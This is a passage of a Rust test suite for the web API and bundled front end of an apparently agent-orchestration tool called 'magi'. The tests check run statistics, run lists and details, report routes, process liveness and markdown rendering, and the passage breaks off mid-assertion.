11067 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11068 assert_eq!(bumps["merged"], 1);
11069 assert_eq!(bumps["recorded"], 0);
11070 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
11073 assert_eq!(bumps["automerge_rate"], Value::Null);
11076 assert_eq!(bumps["attention_rate"], Value::Null);
11077 }
11078
11079 #[tokio::test]
11080 async fn stats_queue_counts_come_from_the_live_queue() {
11081 let f = Fixture::start().await;
11082 let q = f.queue();
11083 let mut queued = Task::new(
11084 "queued task".to_owned(),
11085 "do it".to_owned(),
11086 PathBuf::from("/repo"),
11087 Source::Human,
11088 );
11089 q.put(&mut queued).expect("put queued");
11090 let mut held = Task::new(
11091 "held task".to_owned(),
11092 "do it later".to_owned(),
11093 PathBuf::from("/repo"),
11094 Source::Human,
11095 );
11096 held.hold_machine(Some("out of attempts".to_owned()));
11097 q.put(&mut held).expect("put held");
11098
11099 let queue = f.get("/api/stats").await.json()["queue"].clone();
11100 assert_eq!(queue["queued"], 1);
11101 assert_eq!(queue["held"], 1);
11102 assert_eq!(queue["running"], 0);
11103 assert_eq!(queue["done"], 0);
11104 assert_eq!(queue["failed"], 0);
11105 assert_eq!(queue["blocked"], 0);
11106 }
11107
11108 #[tokio::test]
11109 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
11110 let f = Fixture::start().await;
11111 let stats = f.get("/api/stats").await;
11112 assert_eq!(stats.status, 200);
11113 assert_eq!(stats.json()["totals"]["runs"], 0);
11114 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
11115 assert_eq!(stats.json()["runs_unreadable"], 0);
11116 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
11117 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
11118 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
11119 assert_eq!(stats.json()["repo"], Value::Null);
11120 }
11121
11122 #[tokio::test]
11123 async fn stats_lists_every_repository_with_runs_recorded() {
11124 let f = Fixture::start().await;
11125 write_run_repo(
11126 &f.runs(),
11127 "20260902-140501-a",
11128 RunStatus::Merged,
11129 "/repos/a",
11130 );
11131 write_run_repo(
11132 &f.runs(),
11133 "20260902-140502-b",
11134 RunStatus::Merged,
11135 "/repos/a",
11136 );
11137 write_run_repo(
11138 &f.runs(),
11139 "20260902-140503-c",
11140 RunStatus::Blocked,
11141 "/repos/b",
11142 );
11143
11144 let stats = f.get("/api/stats").await;
11145 assert_eq!(stats.status, 200);
11146 assert_eq!(stats.json()["totals"]["runs"], 3);
11148 assert_eq!(stats.json()["repo"], Value::Null);
11149
11150 let repos = stats.json()["repos"].clone();
11151 let repos = repos.as_array().unwrap();
11152 assert_eq!(repos.len(), 2);
11153 assert_eq!(repos[0]["repo"], "/repos/a");
11155 assert_eq!(repos[0]["name"], "a");
11156 assert_eq!(repos[0]["runs"], 2);
11157 assert_eq!(repos[1]["repo"], "/repos/b");
11158 assert_eq!(repos[1]["runs"], 1);
11159 }
11160
11161 #[tokio::test]
11162 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
11163 let f = Fixture::start().await;
11164 write_run_repo(
11165 &f.runs(),
11166 "20260902-140501-a",
11167 RunStatus::Merged,
11168 "/repos/a",
11169 );
11170 write_run_repo(
11171 &f.runs(),
11172 "20260902-140502-b",
11173 RunStatus::Blocked,
11174 "/repos/b",
11175 );
11176
11177 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
11178 assert_eq!(stats.status, 200);
11179 assert_eq!(stats.json()["totals"]["runs"], 1);
11180 assert_eq!(stats.json()["totals"]["merged"], 1);
11181 assert_eq!(stats.json()["repo"], "/repos/a");
11182 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
11185 assert_eq!(stats.json()["runs_unreadable"], 0);
11188 }
11189
11190 #[tokio::test]
11191 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
11192 let f = Fixture::start().await;
11193 write_run_repo(
11194 &f.runs(),
11195 "20260902-140501-a",
11196 RunStatus::Merged,
11197 "/repos/a",
11198 );
11199
11200 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
11201 assert_eq!(stats.status, 404);
11202 }
11203
11204 #[tokio::test]
11205 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
11206 let f = Fixture::start().await;
11207 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
11208
11209 let summary = f.get("/api/runs").await.json();
11210 let row = &summary[0];
11211 assert_eq!(row["short"], "a1b2");
11212 assert_eq!(row["status"], "ready");
11213 assert_eq!(row["done"], true);
11214 assert_eq!(row["title"], "Add a web UI");
11215 assert_eq!(row["repo_name"], "magi");
11216 assert_eq!(row["judges"], 3);
11217 assert_eq!(row["winner"], Value::Null);
11218 assert_eq!(row["reviews"], 0);
11219
11220 let detail = f.get("/api/runs/a1b2").await;
11223 assert_eq!(detail.status, 200);
11224 assert_eq!(detail.json()["base_branch"], "main");
11225 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
11226 }
11227
11228 #[tokio::test]
11236 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
11237 let f = Fixture::start().await;
11238
11239 let mut none_run = RunState::new(
11240 PathBuf::from("/repo/magi"),
11241 "main".to_owned(),
11242 "0123456789abcdef".to_owned(),
11243 "Add a web UI".to_owned(),
11244 Config::default(),
11245 );
11246 none_run.id = "20260902-140503-none".to_owned();
11247 none_run.status = RunStatus::Ready;
11248 none_run.merge = Some(crate::run::MergeOutcome {
11249 mode: crate::config::MergeMode::None,
11250 ok: true,
11251 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
11252 empty: false,
11253 });
11254 write_state(&f.runs(), &none_run);
11255
11256 let mut pr_run = RunState::new(
11257 PathBuf::from("/repo/magi"),
11258 "main".to_owned(),
11259 "0123456789abcdef".to_owned(),
11260 "Add a web UI".to_owned(),
11261 Config::default(),
11262 );
11263 pr_run.id = "20260902-140504-prcl".to_owned();
11264 pr_run.status = RunStatus::Ready;
11265 pr_run.merge = Some(crate::run::MergeOutcome {
11266 mode: crate::config::MergeMode::Pr,
11267 ok: false,
11268 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
11269 empty: false,
11270 });
11271 write_state(&f.runs(), &pr_run);
11272
11273 let summary = f.get("/api/runs").await.json();
11274 let rows: std::collections::HashMap<&str, &Value> = summary
11275 .as_array()
11276 .expect("an array")
11277 .iter()
11278 .map(|r| (r["id"].as_str().expect("an id"), r))
11279 .collect();
11280 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
11281 assert_eq!(
11282 rows[none_run.id.as_str()]["unmerged_by_design"],
11283 true,
11284 "a mode-none Ready must be flagged in the list"
11285 );
11286 assert_eq!(
11287 rows[pr_run.id.as_str()]["unmerged_by_design"],
11288 false,
11289 "a Ready reached by a closed pull request is a different case"
11290 );
11291
11292 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
11293 assert_eq!(none_detail["status"], "ready");
11294 assert_eq!(none_detail["unmerged_by_design"], true);
11295
11296 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
11297 assert_eq!(pr_detail["unmerged_by_design"], false);
11298 }
11299
11300 #[tokio::test]
11305 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
11306 let f = Fixture::start().await;
11307 let id = "20260902-140502-bbbb";
11311 let mut state = RunState::new(
11312 PathBuf::from("/repo/magi"),
11313 "main".to_owned(),
11314 "0123456789abcdef".to_owned(),
11315 "Add a web UI".to_owned(),
11316 Config::default(),
11317 );
11318 state.id = id.to_owned();
11319 state.status = RunStatus::Judging;
11320 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
11321 let dir = f.runs().join(id);
11322 std::fs::create_dir_all(&dir).expect("run dir");
11323 std::fs::write(
11324 dir.join("run.json"),
11325 serde_json::to_string_pretty(&state).expect("serialize run"),
11326 )
11327 .expect("write run.json");
11328
11329 let cold = f.get(&format!("/api/runs/{id}")).await.json();
11335 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
11336 assert_eq!(cold["live"], "unknown", "{cold}");
11337
11338 write_daemon(f.home.path(), Timestamp::now());
11341 let warm = f.get(&format!("/api/runs/{id}")).await.json();
11342 assert_eq!(warm["live"], "live", "{warm}");
11343 }
11344
11345 #[tokio::test]
11348 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
11349 let f = Fixture::start().await;
11350 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
11351 let mut state = RunState::new(
11352 PathBuf::from("/repo/magi"),
11353 "main".to_owned(),
11354 "0123456789abcdef".to_owned(),
11355 "Add a web UI".to_owned(),
11356 Config::default(),
11357 );
11358 state.id = id.to_owned();
11359 state.origin = origin;
11360 let mut value = serde_json::to_value(&state).expect("serialize run");
11361 if let Some(schema) = schema {
11362 value["schema"] = serde_json::json!(schema);
11363 value.as_object_mut().unwrap().remove("origin");
11364 }
11365 let dir = f.runs().join(id);
11366 std::fs::create_dir_all(&dir).expect("run dir");
11367 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
11368 };
11369 write(
11370 "20260930-092817-ec34",
11371 Some(crate::run::Origin::from_agent_env(
11372 Some(("4a7b".to_owned(), "chat".to_owned())),
11373 None,
11374 )),
11375 None,
11376 );
11377 write("20260930-092817-0ld1", None, Some(12));
11378
11379 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
11380 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
11381 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
11382
11383 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
11384 assert_eq!(
11385 old["origin_label"], "origin unknown (started before origins were recorded)",
11386 "{old}"
11387 );
11388 assert!(old["origin"].is_null(), "{old}");
11389
11390 let list = f.get("/api/runs").await.json();
11391 let labels: Vec<_> = list
11392 .as_array()
11393 .unwrap()
11394 .iter()
11395 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
11396 .collect();
11397 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
11398 }
11399
11400 #[tokio::test]
11407 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
11408 let f = Fixture::start().await;
11409 let id = "20260922-090000-cccc";
11410 let mut state = RunState::new(
11411 PathBuf::from("/repo/magi"),
11412 "main".to_owned(),
11413 "0123456789abcdef".to_owned(),
11414 "Review only".to_owned(),
11415 Config::default(),
11416 );
11417 state.id = id.to_owned();
11418 state.status = RunStatus::Reviewing;
11419 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11420 state.driver_pid = Some(std::process::id());
11426 state.driver_started_at = Some(
11427 crate::proc::process_started_at(std::process::id())
11428 .expect("this test process's own start time must be queryable"),
11429 );
11430 let dir = f.runs().join(id);
11431 std::fs::create_dir_all(&dir).expect("run dir");
11432 std::fs::write(
11433 dir.join("run.json"),
11434 serde_json::to_string_pretty(&state).expect("serialize run"),
11435 )
11436 .expect("write run.json");
11437
11438 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11439 assert_eq!(detail["live"], "live", "{detail}");
11440 }
11441
11442 #[tokio::test]
11448 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
11449 let f = Fixture::start().await;
11450 let id = "20260922-090100-dddd";
11451 let mut state = RunState::new(
11452 PathBuf::from("/repo/magi"),
11453 "main".to_owned(),
11454 "0123456789abcdef".to_owned(),
11455 "Review only".to_owned(),
11456 Config::default(),
11457 );
11458 state.id = id.to_owned();
11459 state.status = RunStatus::Reviewing;
11460 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11461 state.driver_pid = Some(std::process::id());
11466 state.driver_started_at = Some("1".to_owned());
11467 let dir = f.runs().join(id);
11468 std::fs::create_dir_all(&dir).expect("run dir");
11469 std::fs::write(
11470 dir.join("run.json"),
11471 serde_json::to_string_pretty(&state).expect("serialize run"),
11472 )
11473 .expect("write run.json");
11474
11475 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11476 assert_eq!(detail["live"], "dead", "{detail}");
11477 }
11478
11479 #[test]
11483 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
11484 let mk = |id: &str, pid: Option<u32>| {
11485 let mut s = RunState::new(
11486 PathBuf::from("/repo/magi"),
11487 "main".to_owned(),
11488 "0123456789abcdef".to_owned(),
11489 "Add a web UI".to_owned(),
11490 Config::default(),
11491 );
11492 s.id = id.to_owned();
11493 s.driver_pid = pid;
11494 s.driver_started_at = Some("1790000000".to_owned());
11495 s
11496 };
11497 let states = vec![
11498 mk("20260902-140502-aaaa", Some(77)),
11499 mk("20260902-140502-bbbb", Some(77)),
11500 mk("20260902-140502-cccc", Some(77)),
11501 mk("20260902-140502-dddd", None),
11502 ];
11503 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
11504 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
11505 let sup: HashMap<String, String> = [(
11506 "20260902-140502-aaaa".to_owned(),
11507 "20260902-140502-cccc".to_owned(),
11508 )]
11509 .into();
11510
11511 let status_calls = std::cell::Cell::new(0);
11512 let identity_calls = std::cell::Cell::new(0);
11513 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
11514 |_| {
11515 status_calls.set(status_calls.get() + 1);
11516 Some(true)
11517 },
11518 |_| {
11519 identity_calls.set(identity_calls.get() + 1);
11520 Some("1790000000".to_owned())
11521 },
11522 ));
11523 let rows = summarize(
11524 states,
11525 &open,
11526 &claimed,
11527 &sup,
11528 |p| probe.borrow_mut().status(p),
11529 |p| probe.borrow_mut().started_at(p),
11530 );
11531
11532 assert_eq!(status_calls.get(), 1, "one pid, one status query");
11533 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
11534 assert_eq!(rows.len(), 4);
11535 assert!(!rows[0].waiting && rows[1].waiting);
11536 assert_eq!(rows[0].live, crate::run::Liveness::Live);
11537 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
11538 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
11539 assert_eq!(rows[1].superseded_by, None);
11540 }
11541
11542 #[test]
11543 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
11544 let mut state = RunState::new(
11545 PathBuf::from("/repo/magi"),
11546 "main".to_owned(),
11547 "0123456789abcdef".to_owned(),
11548 "Review only".to_owned(),
11549 Config::default(),
11550 );
11551 state.id = "20260922-090200-dead".to_owned();
11552 state.status = RunStatus::Reviewing;
11553 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
11554 .expect("serialize list row");
11555 assert_eq!(row["status"], "reviewing");
11556 assert_eq!(row["live"], "dead", "{row}");
11557 assert!(!row["done"].as_bool().unwrap());
11558 }
11559
11560 #[tokio::test]
11561 async fn the_run_list_is_newest_first_and_honours_a_limit() {
11562 let f = Fixture::start().await;
11563 for id in [
11564 "20260902-140501-aaaa",
11565 "20260902-140502-bbbb",
11566 "20260902-140503-cccc",
11567 ] {
11568 write_run(&f.runs(), id, RunStatus::Merged);
11569 }
11570
11571 let all = f.get("/api/runs").await.json();
11572 let capped = f.get("/api/runs?limit=2").await.json();
11573
11574 assert_eq!(all[0]["id"], "20260902-140503-cccc");
11575 assert_eq!(all.as_array().map(Vec::len), Some(3));
11576 assert_eq!(capped.as_array().map(Vec::len), Some(2));
11577 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
11578 }
11579
11580 #[tokio::test]
11581 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
11582 let f = Fixture::start().await;
11583 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
11584
11585 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
11586
11587 assert_eq!(res.status, 200);
11588 assert!(
11589 res.headers
11590 .contains("content-type: text/plain; charset=utf-8"),
11591 "a browser must render it, not download it: {}",
11592 res.headers
11593 );
11594 assert!(
11598 res.body.contains("20260902-140501-a1b2"),
11599 "the report is about the run that was asked for: {}",
11600 res.body
11601 );
11602 }
11603
11604 #[tokio::test]
11605 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
11606 crate::run::pin_test_home();
11608 let f = Fixture::start().await;
11609 let id = "20260902-140501-a1b2";
11610 write_run(&f.runs(), id, RunStatus::Stalled);
11611 let path = f.runs().join(id).join("run.json");
11614 let mut v: serde_json::Value =
11615 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11616 v["tally"] = serde_json::json!({
11617 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
11618 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
11619 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
11620 "met_quorum": false, "rankings": 1
11621 });
11622 v["reviews"] = serde_json::json!([{
11623 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
11624 "e2e_deferred": true,
11625 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
11626 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
11627 ]}]
11628 }]);
11629 std::fs::write(&path, v.to_string()).unwrap();
11630 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
11631 std::fs::write(
11632 f.runs().join("20260902-140502-dead").join("run.json"),
11633 "{not json",
11634 )
11635 .unwrap();
11636
11637 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
11638
11639 assert_eq!(res.status, 200, "{}", res.body);
11640 assert!(res.headers.contains("content-type: application/json"));
11641 let j = res.json();
11642 assert_eq!(j["schema"], 1);
11643 assert_eq!(j["header"]["id"], id);
11644 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
11645 let kinds: Vec<&str> = j["sections"]
11646 .as_array()
11647 .unwrap()
11648 .iter()
11649 .map(|s| s["kind"].as_str().unwrap())
11650 .collect();
11651 assert_eq!(kinds, ["candidates", "tally", "review"]);
11652 let tally = &j["sections"][1]["tally"];
11653 assert_eq!(
11654 (tally["decided"].clone(), tally["provisional"].clone()),
11655 (false.into(), true.into())
11656 );
11657 let round = &j["sections"][2]["rounds"][0];
11658 assert_eq!(round["e2e"]["state"], "deferred");
11659 assert_eq!(round["findings"][0]["severity"], "major");
11660 assert_eq!(round["findings"][0]["blocking"], true);
11661 assert_eq!(round["findings"][0]["state"], "open");
11662
11663 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
11665
11666 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
11668 assert_ne!(bad.status, 200, "{}", bad.body);
11669 assert_eq!(
11670 bad.status,
11671 f.get("/api/runs/20260902-140502-dead/report").await.status
11672 );
11673 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
11674 assert_eq!(
11675 f.get("/api/runs/20260902-999999-ffff/report.json")
11676 .await
11677 .status,
11678 404
11679 );
11680 }
11681
11682 #[tokio::test]
11683 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
11684 let f = Fixture::start().await;
11685
11686 let html = f.get("/").await;
11687 let css = f.get("/app.css").await;
11688 let js = f.get("/app.js").await;
11689
11690 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
11691 assert!(
11692 html.headers
11693 .contains("content-type: text/html; charset=utf-8")
11694 );
11695 assert!(css.headers.contains("content-type: text/css"));
11696 assert!(js.headers.contains("content-type: text/javascript"));
11697 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
11698 }
11699
11700 #[test]
11701 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
11702 let body = |name: &str| {
11703 let at = APP_JS
11704 .find(name)
11705 .unwrap_or_else(|| panic!("{name} missing"));
11706 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11707 };
11708 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
11709 let note = body("function landRoundNote");
11710 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
11711 assert!(note.contains("Land round ${round}"));
11712 let land = body("function renderLand");
11713 let note_at = land
11714 .find("landRoundNote(pr)")
11715 .expect("renderLand uses the note");
11716 assert!(
11717 note_at
11718 < land
11719 .find("roundRail(pr)")
11720 .expect("renderLand uses the rail")
11721 );
11722 }
11723
11724 #[test]
11725 fn the_runs_page_redesign_keeps_its_guards() {
11726 let body = |name: &str| {
11727 let at = APP_JS
11728 .find(name)
11729 .unwrap_or_else(|| panic!("{name} missing"));
11730 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11731 };
11732 let land = body("function renderLand");
11734 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
11735 assert!(
11736 !land.contains("box.append("),
11737 "renderLand must use append()"
11738 );
11739 assert!(land.contains("append(box, ["));
11740 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
11742 assert!(
11743 body("function applyRoute")
11744 .contains("route.name !== state.route.name || route.id !== state.route.id")
11745 );
11746 assert!(!APP_JS.contains("adviseConvergeDiagram"));
11748 assert!(!INDEX_HTML.contains("advise-converge"));
11749 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
11750 assert!(APP_JS.contains("provisional"));
11751 for id in [
11752 "run-tab-overview",
11753 "run-tab-timeline",
11754 "run-tab-report",
11755 "run-report",
11756 "runs-scope",
11757 ] {
11758 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
11759 }
11760 assert!(!INDEX_HTML.contains("runs-tree"));
11761 assert!(!INDEX_HTML.contains("run-raw-panel"));
11762 assert!(APP_JS.contains("resume"));
11764 assert!(APP_JS.contains("unreadable"));
11766 }
11767
11768 #[test]
11769 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
11770 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
11771 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
11772 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
11773 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
11774 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
11775 assert!(APP_JS.contains("unreadable` : null"));
11777 }
11778
11779 #[test]
11780 fn the_run_detail_payload_says_whether_the_run_is_done() {
11781 for (status, done) in [
11783 (RunStatus::Superseded, true),
11784 (RunStatus::Blocked, true),
11785 (RunStatus::Landing, false),
11786 ] {
11787 let mut state = RunState::new(
11788 std::path::PathBuf::from("/repo"),
11789 "main".to_owned(),
11790 "abc".to_owned(),
11791 "x".to_owned(),
11792 crate::config::Config::default(),
11793 );
11794 state.status = status;
11795 let v = serde_json::to_value(RunDetailView::of(
11796 state,
11797 crate::run::Liveness::Unknown,
11798 None,
11799 None,
11800 None,
11801 ))
11802 .unwrap();
11803 assert_eq!(v["done"], done, "{status:?}");
11804 }
11805 }
11806
11807 fn has_strong(nodes: &[md::Node]) -> bool {
11809 serde_json::to_string(nodes).unwrap().contains("strong")
11810 }
11811
11812 #[test]
11813 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
11814 let mut state = RunState::new(
11815 std::path::PathBuf::from("/repo"),
11816 "main".to_owned(),
11817 "abc".to_owned(),
11818 "x".to_owned(),
11819 crate::config::Config::default(),
11820 );
11821 let proposal = |approach: &str| {
11822 serde_json::json!({
11823 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
11824 })
11825 };
11826 state.advice = Some(
11827 serde_json::from_value(serde_json::json!({
11828 "records": [
11829 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
11830 "proposal": proposal("do **this**")},
11831 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
11832 ],
11833 "synthesis": "- one\n- **two**\n\n`code`",
11834 }))
11835 .unwrap(),
11836 );
11837 state.candidates = serde_json::from_value(serde_json::json!([
11838 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
11839 "summary": "did **it**"},
11840 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
11841 ]))
11842 .unwrap();
11843 state.reviews = serde_json::from_value(serde_json::json!([{
11846 "round": 1, "head": "h",
11847 "reviews": [{
11848 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
11849 "findings": [
11850 {"severity": "nit", "title": "t1", "detail": "plain nit"},
11851 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
11852 ],
11853 }],
11854 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
11855 "fix": {"agent": "a", "notes": "fixed **it**",
11856 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
11857 }, {"round": 2, "head": "h2", "reviews": []}]))
11858 .unwrap();
11859
11860 let v = serde_json::to_value(RunDetailView::of(
11861 state,
11862 crate::run::Liveness::Unknown,
11863 None,
11864 None,
11865 None,
11866 ))
11867 .unwrap();
11868
11869 let strong = |p: &str| {
11870 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
11871 assert!(n.to_string().contains("strong"), "{p}: {n}");
11872 };
11873 strong("/advice_md/synthesis");
11874 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
11875 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
11876 strong("/advice_md/approaches/0");
11877 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
11878 strong("/candidate_summaries_md/0");
11879 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
11880 strong("/reviews_md/0/reviewers/0/summary");
11881 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
11882 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
11883 assert!(f[1].to_string().contains("strong"));
11884 strong("/reviews_md/0/reconsideration/0");
11885 strong("/reviews_md/0/fix/notes");
11886 strong("/reviews_md/0/fix/rejected/0");
11887 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
11888 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
11889 assert_eq!(v["candidates"][0]["summary"], "did **it**");
11891 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
11892 }
11893
11894 #[test]
11895 fn a_run_without_advice_has_no_advice_md() {
11896 let state = RunState::new(
11897 std::path::PathBuf::from("/repo"),
11898 "main".to_owned(),
11899 "abc".to_owned(),
11900 "x".to_owned(),
11901 crate::config::Config::default(),
11902 );
11903 let p = run_prose_md(&state);
11904 assert!(p.advice_md.is_none());
11905 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
11906 }
11907
11908 #[test]
11909 fn a_question_view_carries_markdown_for_each_thread_turn() {
11910 let home = TempDir::new().unwrap();
11911 let store = ask::Questions::at(home.path().join("questions"));
11912 let mut q = Question::new(
11913 "run".to_owned(),
11914 "implement".to_owned(),
11915 "impl-A".to_owned(),
11916 "which?".to_owned(),
11917 String::new(),
11918 Vec::new(),
11919 );
11920 q.say("plain words").unwrap();
11921 q.reply("use **this**", Vec::new()).unwrap();
11922 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
11923 let bodies = &v["thread_bodies_md"];
11924 assert_eq!(bodies.as_array().unwrap().len(), 2);
11925 assert!(!bodies[0].to_string().contains("strong"));
11926 assert!(bodies[1].to_string().contains("strong"));
11927 }
11928
11929 #[test]
11930 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
11931 assert!(APP_JS.contains("function landView(run, raw) {"));
11935 assert!(
11936 APP_JS.contains(
11937 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
11938 )
11939 );
11940 assert!(APP_JS.contains("const pr = landView(run, raw);"));
11941 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
11942 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
11943 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
11944 }
11945
11946 #[test]
11947 fn live_runs_are_never_hidden_or_folded_as_superseded() {
11948 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
11949 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
11950 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
11951 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
11952 }
11953
11954 #[test]
11955 fn review_rounds_label_a_distinct_verified_head() {
11956 assert!(APP_JS.contains("round.verified_head"));
11957 assert!(APP_JS.contains("verified HEAD"));
11958 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
11959 }
11960
11961 #[test]
11962 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
11963 assert!(APP_JS.contains("blocked: { glyph:"));
11967 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
11968
11969 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
11973 assert!(
11974 APP_JS.contains(
11975 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
11976 ),
11977 "the note line must name what a blocked task is waiting on, not just that it is blocked"
11978 );
11979 assert!(APP_JS.contains("if (status === \"blocked\") {"));
11983
11984 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
11988 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
11989 assert!(
11990 APP_JS.contains("location.hash = \"#/questions\";"),
11991 "a question node must jump to the Questions screen, not pretend to be a task"
11992 );
11993
11994 assert!(APP_JS.contains("Resolved questions"));
11997 assert!(APP_JS.contains("r.answersList.append("));
11998 assert!(APP_CSS.contains(".task-answers"));
11999 {
12000 let start = APP_JS
12001 .find("function updateTalkTaskRow")
12002 .expect("updateTalkTaskRow");
12003 let body = &APP_JS[start..];
12004 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
12005 assert!(
12006 body.contains(
